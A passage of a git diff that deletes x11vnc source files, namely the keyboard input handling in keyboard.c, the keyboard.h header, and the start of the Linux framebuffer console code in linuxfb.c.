-rfbLog("cd->input: %s\n", cd->input);
-rfbLog("cd->login_viewonly: %d\n", cd->login_viewonly);
-rfbLog("allowed_input_view_only: %s\n", allowed_input_view_only);
-#endif
-
- if (cd->input[0] == '=') {
- ; /* custom setting */
- } else if (cd->login_viewonly) {
- if (*allowed_input_view_only != '\0') {
- cl->viewOnly = FALSE;
- cd->input[0] = '\0';
- strncpy(cd->input,
- allowed_input_view_only, CILEN);
- } else {
- cl->viewOnly = TRUE;
- }
- } else {
- if (allowed_input_normal) {
- cd->input[0] = '\0';
- strncpy(cd->input,
- allowed_input_normal, CILEN);
- }
- }
- }
- rfbReleaseClientIterator(iter);
- }
-}
-
-void initialize_modtweak(void) {
-#if NO_X11
- RAWFB_RET_VOID
- return;
-#else
- KeySym keysym, *keymap;
- int i, j, minkey, maxkey, syms_per_keycode;
- int use_lowest_index = 0;
-
- if (use_xkb_modtweak) {
- initialize_xkb_modtweak();
- return;
- }
- memset(modifiers, -1, sizeof(modifiers));
- for (i=0; i<0x100; i++) {
- keycodes[i] = NoSymbol;
- }
-
- RAWFB_RET_VOID
-
- if (getenv("MODTWEAK_LOWEST")) {
- use_lowest_index = 1;
- }
-
- X_LOCK;
- XDisplayKeycodes(dpy, &minkey, &maxkey);
-
- keymap = XGetKeyboardMapping(dpy, minkey, (maxkey - minkey + 1),
- &syms_per_keycode);
-
- /* handle alphabetic char with only one keysym (no upper + lower) */
- for (i = minkey; i <= maxkey; i++) {
- KeySym lower, upper;
- /* 2nd one */
- keysym = keymap[(i - minkey) * syms_per_keycode + 1];
- if (keysym != NoSymbol) {
- continue;
- }
- /* 1st one */
- keysym = keymap[(i - minkey) * syms_per_keycode + 0];
- if (keysym == NoSymbol) {
- continue;
- }
- XConvertCase(keysym, &lower, &upper);
- if (lower != upper) {
- keymap[(i - minkey) * syms_per_keycode + 0] = lower;
- keymap[(i - minkey) * syms_per_keycode + 1] = upper;
- }
- }
- for (i = minkey; i <= maxkey; i++) {
- if (debug_keyboard) {
- if (i == minkey) {
- rfbLog("initialize_modtweak: keycode -> "
- "keysyms mapping info:\n");
- }
- fprintf(stderr, " %03d ", i);
- }
- for (j = 0; j < syms_per_keycode; j++) {
- if (debug_keyboard) {
- char *sym;
-#if 0
- sym =XKeysymToString(XKeycodeToKeysym(dpy,i,j));
-#else
- keysym = keymap[(i-minkey)*syms_per_keycode+j];
- sym = XKeysymToString(keysym);
-#endif
- fprintf(stderr, "%-18s ", sym ? sym : "null");
- if (j == syms_per_keycode - 1) {
- fprintf(stderr, "\n");
- }
- }
- if (j >= 4) {
- /*
- * Something wacky in the keymapping.
- * Ignore these non Shift/AltGr chords
- * for now... n.b. we try to automatically
- * switch to -xkb for this case.
- */
- continue;
- }
- keysym = keymap[ (i - minkey) * syms_per_keycode + j ];
- if ( keysym >= ' ' && keysym < 0x100
- && i == XKeysymToKeycode(dpy, keysym) ) {
- if (use_lowest_index && keycodes[keysym] != NoSymbol) {
- continue;
- }
- keycodes[keysym] = i;
- modifiers[keysym] = j;
- }
- }
- }
-
- left_shift_code = XKeysymToKeycode(dpy, XK_Shift_L);
- right_shift_code = XKeysymToKeycode(dpy, XK_Shift_R);
- altgr_code = XKeysymToKeycode(dpy, XK_Mode_switch);
- iso_level3_code = NoSymbol;
-#ifdef XK_ISO_Level3_Shift
- iso_level3_code = XKeysymToKeycode(dpy, XK_ISO_Level3_Shift);
-#endif
-
- XFree_wr ((void *) keymap);
-
- X_UNLOCK;
-#endif /* NO_X11 */
-}
-
-/*
- * does the actual tweak:
- */
-static void tweak_mod(signed char mod, rfbBool down) {
- rfbBool is_shift = mod_state & (LEFTSHIFT|RIGHTSHIFT);
- Bool dn = (Bool) down;
- KeyCode altgr = altgr_code;
-
- RAWFB_RET_VOID
-
- if (mod < 0) {
- if (debug_keyboard) {
- rfbLog("tweak_mod: Skip: down=%d index=%d\n", down,
- (int) mod);
- }
- return;
- }
- if (debug_keyboard) {
- rfbLog("tweak_mod: Start: down=%d index=%d mod_state=0x%x"
- " is_shift=%d\n", down, (int) mod, (int) mod_state,
- is_shift);
- }
-
- if (use_iso_level3 && iso_level3_code) {
- altgr = iso_level3_code;
- }
-
- X_LOCK;
- if (is_shift && mod != 1) {
- if (mod_state & LEFTSHIFT) {
- XTestFakeKeyEvent_wr(dpy, left_shift_code, !dn, CurrentTime);
- }
- if (mod_state & RIGHTSHIFT) {
- XTestFakeKeyEvent_wr(dpy, right_shift_code, !dn, CurrentTime);
- }
- }
- if ( ! is_shift && mod == 1 ) {
- XTestFakeKeyEvent_wr(dpy, left_shift_code, dn, CurrentTime);
- }
- if ( altgr && (mod_state & ALTGR) && mod != 2 ) {
- XTestFakeKeyEvent_wr(dpy, altgr, !dn, CurrentTime);
- }
- if ( altgr && ! (mod_state & ALTGR) && mod == 2 ) {
- XTestFakeKeyEvent_wr(dpy, altgr, dn, CurrentTime);
- }
- X_UNLOCK;
-
- if (debug_keyboard) {
- rfbLog("tweak_mod: Finish: down=%d index=%d mod_state=0x%x"
- " is_shift=%d\n", down, (int) mod, (int) mod_state,
- is_shift);
- }
-}
-
-/*
- * tweak the modifier under -modtweak
- */
-static void modifier_tweak_keyboard(rfbBool down, rfbKeySym keysym,
- rfbClientPtr client) {
-#if NO_X11
- RAWFB_RET_VOID
- if (!down || !keysym || !client) {}
- return;
-#else
- KeyCode k;
- int tweak = 0;
-
- RAWFB_RET_VOID
-
- if (use_xkb_modtweak) {
- xkb_tweak_keyboard(down, keysym, client);
- return;
- }
- if (debug_keyboard) {
- rfbLog("modifier_tweak_keyboard: %s keysym=0x%x\n",
- down ? "down" : "up", (int) keysym);
- }
-
-#define ADJUSTMOD(sym, state) \
- if (keysym == sym) { \
- if (down) { \
- mod_state |= state; \
- } else { \
- mod_state &= ~state; \
- } \
- }
-
- ADJUSTMOD(XK_Shift_L, LEFTSHIFT)
- ADJUSTMOD(XK_Shift_R, RIGHTSHIFT)
- ADJUSTMOD(XK_Mode_switch, ALTGR)
-
- if ( down && keysym >= ' ' && keysym < 0x100 ) {
- unsigned int state = 0;
- tweak = 1;
- if (watch_capslock && keysym >= 'A' && keysym <= 'Z') {
- X_LOCK;
- state = mask_state();
- X_UNLOCK;
- }
- if (state & LockMask) {
- /* capslock set for A-Z, so no tweak */
- X_LOCK;
- k = XKeysymToKeycode(dpy, (KeySym) keysym);
- X_UNLOCK;
- tweak = 0;
- } else {
- tweak_mod(modifiers[keysym], True);
- k = keycodes[keysym];
- }
- } else {
- X_LOCK;
- k = XKeysymToKeycode(dpy, (KeySym) keysym);
- X_UNLOCK;
- }
- if (k == NoSymbol && add_keysyms && ! IsModifierKey(keysym)) {
- int new_kc = add_keysym(keysym);
- if (new_kc) {
- k = new_kc;
- }
- }
-
- if (sloppy_keys) {
- int new_kc;
- if (sloppy_key_check((int) k, down, keysym, &new_kc)) {
- k = (KeyCode) new_kc;
- }
- }
-
- if (debug_keyboard) {
- char *str = XKeysymToString(keysym);
- rfbLog("modifier_tweak_keyboard: KeySym 0x%x \"%s\" -> "
- "KeyCode 0x%x%s\n", (int) keysym, str ? str : "null",
- (int) k, k ? "" : " *ignored*");
- }
- if ( k != NoSymbol ) {
- X_LOCK;
- XTestFakeKeyEvent_wr(dpy, k, (Bool) down, CurrentTime);
- X_UNLOCK;
- }
-
- if ( tweak ) {
- tweak_mod(modifiers[keysym], False);
- }
-#endif /* NO_X11 */
-}
-
-void initialize_keyboard_and_pointer(void) {
-
-#ifdef MACOSX
- if (macosx_console) {
- initialize_remap(remap_file);
- initialize_pointer_map(pointer_remap);
- }
-#endif
-
- RAWFB_RET_VOID
-
- if (use_modifier_tweak) {
- initialize_modtweak();
- }
-
- initialize_remap(remap_file);
- initialize_pointer_map(pointer_remap);
-
- X_LOCK;
- clear_modifiers(1);
- if (clear_mods == 1) {
- clear_modifiers(0);
- }
- if (clear_mods == 3) {
- clear_locks();
- }
- X_UNLOCK;
-}
-
-void get_allowed_input(rfbClientPtr client, allowed_input_t *input) {
- ClientData *cd;
- char *str;
-
- input->keystroke = 0;
- input->motion = 0;
- input->button = 0;
- input->clipboard = 0;
- input->files = 0;
-
- if (! client) {
- input->keystroke = 1;
- input->motion = 1;
- input->button = 1;
- input->clipboard = 1;
- input->files = 1;
- return;
- }
-
- cd = (ClientData *) client->clientData;
-
- if (! cd) {
- return;
- }
-
- if (cd->input[0] != '-') {
- str = cd->input;
- } else if (client->viewOnly) {
- if (allowed_input_view_only) {
- str = allowed_input_view_only;
- } else {
- str = "";
- }
- } else {
- if (allowed_input_normal) {
- str = allowed_input_normal;
- } else {
- str = "KMBCF";
- }
- }
-if (0) fprintf(stderr, "GAI: %s - %s\n", str, cd->input);
-
- while (*str) {
- if (*str == 'K') {
- input->keystroke = 1;
- } else if (*str == 'M') {
- input->motion = 1;
- } else if (*str == 'B') {
- input->button = 1;
- } else if (*str == 'C') {
- input->clipboard = 1;
- } else if (*str == 'F') {
- input->files = 1;
- }
- str++;
- }
-}
-
-static void apply_remap(rfbKeySym *keysym, int *isbutton) {
- if (keyremaps) {
- keyremap_t *remap = keyremaps;
- while (remap != NULL) {
- if (remap->before == *keysym) {
- *keysym = remap->after;
- *isbutton = remap->isbutton;
- if (debug_keyboard) {
- char *str1, *str2;
- X_LOCK;
- str1 = XKeysymToString(remap->before);
- str2 = XKeysymToString(remap->after);
- rfbLog("keyboard(): remapping keysym: "
- "0x%x \"%s\" -> 0x%x \"%s\"\n",
- (int) remap->before,
- str1 ? str1 : "null",
- (int) remap->after,
- remap->isbutton ? "button" :
- str2 ? str2 : "null");
- X_UNLOCK;
- }
- break;
- }
- remap = remap->next;
- }
- }
-}
-
-/* for -pipeinput mode */
-static void pipe_keyboard(rfbBool down, rfbKeySym keysym, rfbClientPtr client) {
- int can_input = 0, uid = 0, isbutton = 0;
- allowed_input_t input;
- char *name;
- ClientData *cd = (ClientData *) client->clientData;
-
- apply_remap(&keysym, &isbutton);
-
- if (isbutton) {
- int mask, button = (int) keysym;
- int x = cursor_x, y = cursor_y;
- char *b, bstr[32];
-
- if (!down) {
- return;
- }
- if (debug_keyboard) {
- rfbLog("keyboard(): remapping keystroke to button %d"
- " click\n", button);
- }
- dtime0(&last_key_to_button_remap_time);
-
- /*
- * This in principle can be a little dicey... i.e. even
- * remap the button click to keystroke sequences!
- * Usually just will simulate the button click.
- */
-
- /* loop over possible multiclicks: Button123 */
- sprintf(bstr, "%d", button);
- b = bstr;
- while (*b != '\0') {
- char t[2];
- int butt;
- t[0] = *b;
- t[1] = '\0';
- if (sscanf(t, "%d", &butt) == 1) {
- mask = 1<<(butt-1);
- pointer_event(mask, x, y, client);
- mask = 0;
- pointer_event(mask, x, y, client);
- }
- b++;
- }
- return;
- }
-
- if (pipeinput_int == PIPEINPUT_VID) {
- v4l_key_command(down, keysym, client);
- } else if (pipeinput_int == PIPEINPUT_CONSOLE) {
- console_key_command(down, keysym, client);
- } else if (pipeinput_int == PIPEINPUT_UINPUT) {
- uinput_key_command(down, keysym, client);
- } else if (pipeinput_int == PIPEINPUT_MACOSX) {
- macosx_key_command(down, keysym, client);
- } else if (pipeinput_int == PIPEINPUT_VNC) {
- vnc_reflect_send_key((uint32_t) keysym, down);
- }
- if (pipeinput_fh == NULL) {
- return;
- }
-
- if (! view_only) {
- get_allowed_input(client, &input);
- if (input.keystroke) {
- can_input = 1; /* XXX distinguish later */
- }
- }
- if (cd) {
- uid = cd->uid;
- }
- if (! can_input) {
- uid = -uid;
- }
-
- X_LOCK;
- name = XKeysymToString(keysym);
- X_UNLOCK;
-
- fprintf(pipeinput_fh, "Keysym %d %d %u %s %s\n", uid, down,
- keysym, name ? name : "null", down ? "KeyPress" : "KeyRelease");
-
- fflush(pipeinput_fh);
- check_pipeinput();
-}
-
-typedef struct keyevent {
- rfbKeySym sym;
- rfbBool down;
- double time;
-} keyevent_t;
-
-#define KEY_HIST 256
-static int key_history_idx = -1;
-static keyevent_t key_history[KEY_HIST];
-
-double typing_rate(double time_window, int *repeating) {
- double dt = 1.0, now = dnow();
- KeySym key = NoSymbol;
- int i, idx, cnt = 0, repeat_keys = 0;
-
- if (key_history_idx == -1) {
- if (repeating) {
- *repeating = 0;
- }
- return 0.0;
- }
- if (time_window > 0.0) {
- dt = time_window;
- }
- for (i=0; i<KEY_HIST; i++) {
- idx = key_history_idx - i;
- if (idx < 0) {
- idx += KEY_HIST;
- }
- if (! key_history[idx].down) {
- continue;
- }
- if (now > key_history[idx].time + dt) {
- break;
- }
- cnt++;
- if (key == NoSymbol) {
- key = key_history[idx].sym;
- repeat_keys = 1;
- } else if (key == key_history[idx].sym) {
- repeat_keys++;
- }
- }
-
- if (repeating) {
- if (repeat_keys >= 2) {
- *repeating = repeat_keys;
- } else {
- *repeating = 0;
- }
- }
-
- /*
- * n.b. keyrate could seem very high with libvncserver buffering them
- * so avoid using small dt.
- */
- return ((double) cnt)/dt;
-}
-
-int skip_cr_when_scaling(char *mode) {
- int got = 0;
-
- if (!scaling) {
- return 0;
- }
-
- if (scaling_copyrect != scaling_copyrect0) {
- /* user override via -scale: */
- if (! scaling_copyrect) {
- return 1;
- } else {
- return 0;
- }
- }
- if (*mode == 's') {
- got = got_scrollcopyrect;
- } else if (*mode == 'w') {
- got = got_wirecopyrect;
- }
- if (scaling_copyrect || got) {
- int lat, rate;
- int link = link_rate(&lat, &rate);
- if (link == LR_DIALUP) {
- return 1;
- } else if (rate < 25) {
- /* the fill-in of the repair may be too slow */
- return 1;
- } else {
- return 0;
- }
- } else {
- return 1;
- }
-}
-
-/*
- * key event handler. See the above functions for contortions for
- * running under -modtweak.
- */
-static rfbClientPtr last_keyboard_client = NULL;
-
-void keyboard(rfbBool down, rfbKeySym keysym, rfbClientPtr client) {
- KeyCode k;
- int idx, isbutton = 0;
- allowed_input_t input;
- time_t now = time(NULL);
- double tnow;
- static int skipped_last_down;
- static rfbBool last_down;
- static rfbKeySym last_keysym = NoSymbol;
- static rfbKeySym max_keyrepeat_last_keysym = NoSymbol;
- static double max_keyrepeat_last_time = 0.0;
- static double max_keyrepeat_always = -1.0;
-
- if (threads_drop_input) {
- return;
- }
-
- dtime0(&tnow);
- got_keyboard_calls++;
-
- if (debug_keyboard) {
- char *str;
- X_LOCK;
- str = XKeysymToString((KeySym) keysym);
- X_UNLOCK;
- rfbLog("# keyboard(%s, 0x%x \"%s\") uip=%d %.4f\n",
- down ? "down":"up", (int) keysym, str ? str : "null",
- unixpw_in_progress, tnow - x11vnc_start);
- }
-
- if (keysym <= 0) {
- rfbLog("keyboard: skipping 0x0 keysym\n");
- return;
- }
-
- if (unixpw_in_progress) {
- if (unixpw_denied) {
- rfbLog("keyboard: ignoring keystroke 0x%x in "
- "unixpw_denied=1 state\n", (int) keysym);
- return;
- }
- if (client != unixpw_client) {
- rfbLog("keyboard: skipping other client in unixpw\n");
- return;
- }
-
- unixpw_keystroke(down, keysym, 0);
-
- return;
- }
-
- if (skip_duplicate_key_events) {
- if (keysym == last_keysym && down == last_down) {
- if (debug_keyboard) {
- rfbLog("skipping dup key event: %d 0x%x\n",
- down, keysym);
- }
- return;
- }
- }
-
- if (skip_lockkeys) {
- /* we don't handle XK_ISO*_Lock or XK_Kana_Lock ... */
- if (keysym == XK_Scroll_Lock || keysym == XK_Num_Lock ||
- keysym == XK_Caps_Lock || keysym == XK_Shift_Lock) {
- if (debug_keyboard) {
- rfbLog("skipping lock key event: %d 0x%x\n",
- down, keysym);
- }
- return;
- } else if (keysym >= XK_KP_0 && keysym <= XK_KP_9) {
- /* ugh this is probably what they meant... assume NumLock. */
- if (debug_keyboard) {
- rfbLog("changed KP digit to regular digit: %d 0x%x\n",
- down, keysym);
- }
- keysym = (keysym - XK_KP_0) + XK_0;
- } else if (keysym == XK_KP_Decimal) {
- if (debug_keyboard) {
- rfbLog("changed XK_KP_Decimal to XK_period: %d 0x%x\n",
- down, keysym);
- }
- keysym = XK_period;
- }
- }
-
- INPUT_LOCK;
-
- last_down = down;
- last_keysym = keysym;
- last_keyboard_time = tnow;
-
- last_rfb_down = down;
- last_rfb_keysym = keysym;
- last_rfb_keytime = tnow;
- last_rfb_key_accepted = FALSE;
-
- if (key_history_idx == -1) {
- for (idx=0; idx<KEY_HIST; idx++) {
- key_history[idx].sym = NoSymbol;
- key_history[idx].down = FALSE;
- key_history[idx].time = 0.0;
- }
- }
- idx = ++key_history_idx;
- if (key_history_idx >= KEY_HIST) {
- key_history_idx = 0;
- idx = 0;
- }
- key_history[idx].sym = keysym;
- key_history[idx].down = down;
- key_history[idx].time = tnow;
-
- if (down && (keysym == XK_Alt_L || keysym == XK_Super_L)) {
- int i, k, run = 0, ups = 0;
- double delay = 1.0;
- KeySym ks;
- for (i=0; i<16; i++) {
- k = idx - i;
- if (k < 0) k += KEY_HIST;
- if (!key_history[k].down) {
- ups++;
- continue;
- }
- ks = key_history[k].sym;
- if (key_history[k].time < tnow - delay) {
- break;
- } else if (ks == keysym && ks == XK_Alt_L) {
- run++;
- } else if (ks == keysym && ks == XK_Super_L) {
- run++;
- } else {
- break;
- }
- }
- if (ups < 2) {
- ;
- } else if (run == 3 && keysym == XK_Alt_L) {
- rfbLog("3*Alt_L, calling: refresh_screen(0)\n");
- refresh_screen(0);
- } else if (run == 4 && keysym == XK_Alt_L) {
- rfbLog("4*Alt_L, setting: do_copy_screen\n");
- do_copy_screen = 1;
- } else if (run == 5 && keysym == XK_Alt_L) {
- ;
- } else if (run == 3 && keysym == XK_Super_L) {
- rfbLog("3*Super_L, calling: set_xdamage_mark()\n");
- set_xdamage_mark(0, 0, dpy_x, dpy_y);
- } else if (run == 4 && keysym == XK_Super_L) {
- rfbLog("4*Super_L, calling: check_xrecord_reset()\n");
- check_xrecord_reset(1);
- } else if (run == 5 && keysym == XK_Super_L) {
- rfbLog("5*Super_L, calling: push_black_screen(0)\n");
- push_black_screen(0);
- }
- }
-
-#ifdef MAX_KEYREPEAT
- if (max_keyrepeat_always < 0.0) {
- if (getenv("MAX_KEYREPEAT")) {
- max_keyrepeat_always = atof(getenv("MAX_KEYREPEAT"));
- } else {
- max_keyrepeat_always = 0.0;
- }
- }
- if (max_keyrepeat_always > 0.0) {
- max_keyrepeat_time = max_keyrepeat_always;
- }
-#else
- if (0) {max_keyrepeat_always=0;}
-#endif
- if (!down && skipped_last_down) {
- int db = debug_scroll;
- if (keysym == max_keyrepeat_last_keysym) {
- skipped_last_down = 0;
- if (db) rfbLog("--- scroll keyrate skipping 0x%lx %s "
- "%.4f %.4f\n", keysym, down ? "down":"up ",
- tnow - x11vnc_start, tnow - max_keyrepeat_last_time);
- INPUT_UNLOCK;
- return;
- }
- }
- if (down && max_keyrepeat_time > 0.0) {
- int skip = 0;
- int db = debug_scroll;
-
- if (max_keyrepeat_last_keysym != NoSymbol &&
- max_keyrepeat_last_keysym != keysym) {
- ;
- } else {
- if (tnow < max_keyrepeat_last_time+max_keyrepeat_time) {
- skip = 1;
- }
- }
- max_keyrepeat_time = 0.0;
- if (skip) {
- if (db) rfbLog("--- scroll keyrate skipping 0x%lx %s "
- "%.4f %.4f\n", keysym, down ? "down":"up ",
- tnow - x11vnc_start, tnow - max_keyrepeat_last_time);
- max_keyrepeat_last_keysym = keysym;
- skipped_last_down = 1;
- INPUT_UNLOCK;
- return;
- } else {
- if (db) rfbLog("--- scroll keyrate KEEPING 0x%lx %s "
- "%.4f %.4f\n", keysym, down ? "down":"up ",
- tnow - x11vnc_start, tnow - max_keyrepeat_last_time);
- }
- }
- max_keyrepeat_last_keysym = keysym;
- max_keyrepeat_last_time = tnow;
- skipped_last_down = 0;
- last_rfb_key_accepted = TRUE;
-
- if (pipeinput_fh != NULL || pipeinput_int) {
- pipe_keyboard(down, keysym, client); /* MACOSX here. */
- if (! pipeinput_tee) {
- if (! view_only || raw_fb) { /* raw_fb hack */
- last_keyboard_client = client;
- last_event = last_input = now;
- last_keyboard_input = now;
-
- last_keysym = keysym;
-
- last_rfb_down = down;
- last_rfb_keysym = keysym;
- last_rfb_keytime = tnow;
- last_rfb_key_injected = dnow();
-
- got_user_input++;
- got_keyboard_input++;
- }
- INPUT_UNLOCK;
- return;
- }
- }
-
- if (view_only) {
- INPUT_UNLOCK;
- return;
- }
- get_allowed_input(client, &input);
- if (! input.keystroke) {
- INPUT_UNLOCK;
- return;
- }
-
- track_mod_state(keysym, down, TRUE); /* ignores remaps */
-
- last_keyboard_client = client;
- last_event = last_input = now;
- last_keyboard_input = now;
-
- last_keysym = keysym;
-
- last_rfb_down = down;
- last_rfb_keysym = keysym;
- last_rfb_keytime = tnow;
- last_rfb_key_injected = dnow();
-
- got_user_input++;
- got_keyboard_input++;
-
- RAWFB_RET_VOID
-
-
- apply_remap(&keysym, &isbutton);
-
- if (use_xrecord && ! xrecording && down) {
-
- if (!strcmp(scroll_copyrect, "never")) {
- ;
- } else if (!strcmp(scroll_copyrect, "mouse")) {
- ;
- } else if (skip_cr_when_scaling("scroll")) {
- ;
- } else if (! xrecord_skip_keysym(keysym)) {
- snapshot_stack_list(0, 0.25);
- xrecord_watch(1, SCR_KEY);
- xrecord_set_by_keys = 1;
- xrecord_keysym = keysym;
- } else {
- if (debug_scroll) {
- char *str = XKeysymToString(keysym);
- rfbLog("xrecord_skip_keysym: %s\n",
- str ? str : "NoSymbol");
- }
- }
- }
-
- if (isbutton) {
- int mask, button = (int) keysym;
- char *b, bstr[32];
-
- if (! down) {
- INPUT_UNLOCK;
- return; /* nothing to send */
- }
- if (debug_keyboard) {
- rfbLog("keyboard(): remapping keystroke to button %d"
- " click\n", button);
- }
- dtime0(&last_key_to_button_remap_time);
-
- X_LOCK;
- /*
- * This in principle can be a little dicey... i.e. even
- * remap the button click to keystroke sequences!
- * Usually just will simulate the button click.
- */
-
- /* loop over possible multiclicks: Button123 */
- sprintf(bstr, "%d", button);
- b = bstr;
- while (*b != '\0') {
- char t[2];
- int butt;
- t[0] = *b;
- t[1] = '\0';
- if (sscanf(t, "%d", &butt) == 1) {
- mask = 1<<(butt-1);
- do_button_mask_change(mask, butt); /* down */
- mask = 0;
- do_button_mask_change(mask, butt); /* up */
- }
- b++;
- }
- XFlush_wr(dpy);
- X_UNLOCK;
- INPUT_UNLOCK;
- return;
- }
-
- if (use_modifier_tweak) {
- modifier_tweak_keyboard(down, keysym, client);
- X_LOCK;
- XFlush_wr(dpy);
- X_UNLOCK;
- INPUT_UNLOCK;
- return;
- }
-
- X_LOCK;
-
- k = XKeysymToKeycode(dpy, (KeySym) keysym);
-
- if (k == NoSymbol && add_keysyms && ! IsModifierKey(keysym)) {
- int new_kc = add_keysym(keysym);
- if (new_kc) {
- k = new_kc;
- }
- }
- if (debug_keyboard) {
- char *str = XKeysymToString(keysym);
- rfbLog("keyboard(): KeySym 0x%x \"%s\" -> KeyCode 0x%x%s\n",
- (int) keysym, str ? str : "null", (int) k,
- k ? "" : " *ignored*");
- }
-
- if ( k != NoSymbol ) {
- XTestFakeKeyEvent_wr(dpy, k, (Bool) down, CurrentTime);
- XFlush_wr(dpy);
- }
-
- X_UNLOCK;
- INPUT_UNLOCK;
-}
-
-
diff --git a/x11vnc/keyboard.h b/x11vnc/keyboard.h
deleted file mode 100644
index 39a1a89..0000000
--- a/x11vnc/keyboard.h
+++ /dev/null
@@ -1,62 +0,0 @@
-/*
- Copyright (C) 2002-2010 Karl J. Runge <runge@karlrunge.com>
- All rights reserved.
-
-This file is part of x11vnc.
-
-x11vnc is free software; you can redistribute it and/or modify
-it under the terms of the GNU General Public License as published by
-the Free Software Foundation; either version 2 of the License, or (at
-your option) any later version.
-
-x11vnc is distributed in the hope that it will be useful,
-but WITHOUT ANY WARRANTY; without even the implied warranty of
-MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-GNU General Public License for more details.
-
-You should have received a copy of the GNU General Public License
-along with x11vnc; if not, write to the Free Software
-Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA
-or see <http://www.gnu.org/licenses/>.
-
-In addition, as a special exception, Karl J. Runge
-gives permission to link the code of its release of x11vnc with the
-OpenSSL project's "OpenSSL" library (or with modified versions of it
-that use the same license as the "OpenSSL" library), and distribute
-the linked executables. You must obey the GNU General Public License
-in all respects for all of the code used other than "OpenSSL". If you
-modify this file, you may extend this exception to your version of the
-file, but you are not obligated to do so. If you do not wish to do
-so, delete this exception statement from your version.
-*/
-
-#ifndef _X11VNC_KEYBOARD_H
-#define _X11VNC_KEYBOARD_H
-
-/* -- keyboard.h -- */
-#include "allowed_input_t.h"
-
-extern void get_keystate(int *keystate);
-extern void clear_modifiers(int init);
-extern int track_mod_state(rfbKeySym keysym, rfbBool down, rfbBool set);
-extern void clear_keys(void);
-extern void clear_locks(void);
-extern int get_autorepeat_state(void);
-extern int get_initial_autorepeat_state(void);
-extern void autorepeat(int restore, int bequiet);
-extern void check_add_keysyms(void);
-extern int add_keysym(KeySym keysym);
-extern void delete_added_keycodes(int bequiet);
-extern void initialize_remap(char *infile);
-extern int sloppy_key_check(int key, rfbBool down, rfbKeySym keysym, int *new_kc);
-extern void switch_to_xkb_if_better(void);
-extern char *short_kmbcf(char *str);
-extern void initialize_allowed_input(void);
-extern void initialize_modtweak(void);
-extern void initialize_keyboard_and_pointer(void);
-extern void get_allowed_input(rfbClientPtr client, allowed_input_t *input);
-extern double typing_rate(double time_window, int *repeating);
-extern int skip_cr_when_scaling(char *mode);
-extern void keyboard(rfbBool down, rfbKeySym keysym, rfbClientPtr client);
-
-#endif /* _X11VNC_KEYBOARD_H */
diff --git a/x11vnc/linuxfb.c b/x11vnc/linuxfb.c
deleted file mode 100644
index 1831c5f..0000000
--- a/x11vnc/linuxfb.c
+++ /dev/null
@@ -1,394 +0,0 @@
-/*
- Copyright (C) 2002-2010 Karl J. Runge <runge@karlrunge.com>
- All rights reserved.
-
-This file is part of x11vnc.
-
-x11vnc is free software; you can redistribute it and/or modify
-it under the terms of the GNU General Public License as published by
-the Free Software Foundation; either version 2 of the License, or (at
-your option) any later version.
-
-x11vnc is distributed in the hope that it will be useful,
-but WITHOUT ANY WARRANTY; without even the implied warranty of
-MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-GNU General Public License for more details.
-
-You should have received a copy of the GNU General Public License
-along with x11vnc; if not, write to the Free Software
-Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA
-or see <http://www.gnu.org/licenses/>.
-
-In addition, as a special exception, Karl J. Runge
-gives permission to link the code of its release of x11vnc with the
-OpenSSL project's "OpenSSL" library (or with modified versions of it
-that use the same license as the "OpenSSL" library), and distribute
-the linked executables. You must obey the GNU General Public License
-in all respects for all of the code used other than "OpenSSL". If you
-modify this file, you may extend this exception to your version of the
-file, but you are not obligated to do so. If you do not wish to do
-so, delete this exception statement from your version.
-*/
-
-/* -- linuxfb.c -- */
-
-#include "x11vnc.h"
-#include "cleanup.h"
-#include "scan.h"
-#include "xinerama.h"
-#include "screen.h"
-#include "pointer.h"
-#include "allowed_input_t.h"
-#include "uinput.h"
-#include "keyboard.h"
-#include "macosx.h"
-
-#if LIBVNCSERVER_HAVE_SYS_IOCTL_H
-#include <sys/ioctl.h>
-#endif
-#if LIBVNCSERVER_HAVE_LINUX_FB_H
-#include <linux/fb.h>
-#endif
-
-char *console_guess(char *str, int *fd);
-void console_key_command(rfbBool down, rfbKeySym keysym, rfbClientPtr client);
-void console_pointer_command(int mask, int x, int y, rfbClientPtr client);
-
-
-void linux_dev_fb_msg(char *);
-
-char *console_guess(char *str, int *fd) {
- char *q, *in = strdup(str);
- char *atparms = NULL, *file = NULL;
- int do_input, have_uinput, tty = -1;
-
-#ifdef MACOSX
- return macosx_console_guess(str, fd);
-#endif
-
-
- if (strstr(in, "/dev/fb") == in) {
- free(in);
- in = (char *) malloc(strlen("console:") + strlen(str) + 1);
- sprintf(in, "console:%s", str);
- } else if (strstr(in, "fb") == in) {
- free(in);
- in = (char *) malloc(strlen("console:/dev/") + strlen(str) + 1);
- sprintf(in, "console:/dev/%s", str);
- } else if (strstr(in, "vt") == in) {
- free(in);
- in = (char *) malloc(strlen("console_") + strlen(str) + 1);
- sprintf(in, "console_%s", str);
- }
-
- if (strstr(in, "console") != in) {
- rfbLog("console_guess: unrecognized console/fb format: %s\n", str);
- free(in);
- return NULL;
- }
-
- q = strrchr(in, '@');
- if (q) {
- atparms = strdup(q+1);
- *q = '\0';
- }
- q = strrchr(in, ':');
- if (q) {
- file = strdup(q+1);
- *q = '\0';
- }
- if (! file || file[0] == '\0') {
- file = strdup("/dev/fb");
- }
- if (strstr(file, "fb") == file) {
- q = (char *) malloc(strlen("/dev/") + strlen(file) + 1);
- sprintf(q, "/dev/%s", file);
- free(file);
- file = q;
- }
- if (!strcmp(file, "/dev/fb")) {
- /* sometimes no sylink fb -> fb0 */
- struct stat sbuf;
- if (stat(file, &sbuf) != 0) {
- free(file);
- file = strdup("/dev/fb0");
- }
- }
-
- do_input = 1;
- if (pipeinput_str) {
- have_uinput = 0;
- do_input = 0;
- } else {
- have_uinput = check_uinput();
- }
- if (strstr(in, "console_vt")) {
- have_uinput = 0;
- }
-
- if (!strcmp(in, "consolex")) {
- do_input = 0;
- } else if (strstr(in, "console_vtx")) {
- have_uinput = 0;
- do_input = 0;
- } else if (!strcmp(in, "console")) {
- /* current active VT: */
- if (! have_uinput) {
- tty = 0;
- }
- } else {
- int n;
- if (sscanf(in, "console%d", &n) == 1) {
- tty = n;
- have_uinput = 0;
- } else if (sscanf(in, "console_vt%d", &n) == 1) {
- tty = n;
- have_uinput = 0;
- }
- }
- if (strstr(in, "console_vt") == in) {
- char tmp[100];
- int fd, rows = 30, cols = 80, w, h;
- sprintf(tmp, "/dev/vcsa%d", tty);
